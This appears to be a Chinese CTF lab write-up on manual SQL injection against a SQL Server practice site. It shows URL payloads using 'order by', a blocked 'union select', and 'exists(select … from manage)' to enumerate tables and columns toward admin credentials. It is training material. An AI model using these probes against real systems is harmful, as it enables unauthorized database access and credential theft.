CTF-SQL手工注入漏洞测试(Sql Server数据库)

本文详细介绍了SQL注入攻击的原理,通过一系列手工测试步骤,展示了如何利用SQL注入技巧探测数据库信息,包括字段数量、表名、字段名以及字段值。在测试过程中,通过构造特定的SQL查询语句,如`order by`、`exists`和`substring`等,最终成功获取了数据库中username和password字段的值,从而揭示了系统的安全漏洞。

根据题意
在这里插入图片描述
SQL注入原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
进入环境,在停机维护发现注入点
在这里插入图片描述
页面提交:http://mozhe.cn/new_list.php?id=2 order by N
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定有4个字段
在这里插入图片描述
页面提交:http://mozhe.cn/new_list.php?id=2 and 1=2 union select 1,2,3……,n
分析解说:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。
在这里插入图片描述
页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select * from admin)
分析解说:通过SQL语句中的and exists(select * from admin)查询,判断数据库中存在哪些数据库表。此处返回错误页面,说明系统不存在admin数据库表。
在这里插入图片描述
页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select * from manage)
分析解说:通过SQL语句中的and exists(select * from manage)查询,判断数据库中存在哪些数据库表。此处返回正常页面,说明系统存在manage数据库表。
在这里插入图片描述
页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select username from manage)
分析解说:通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值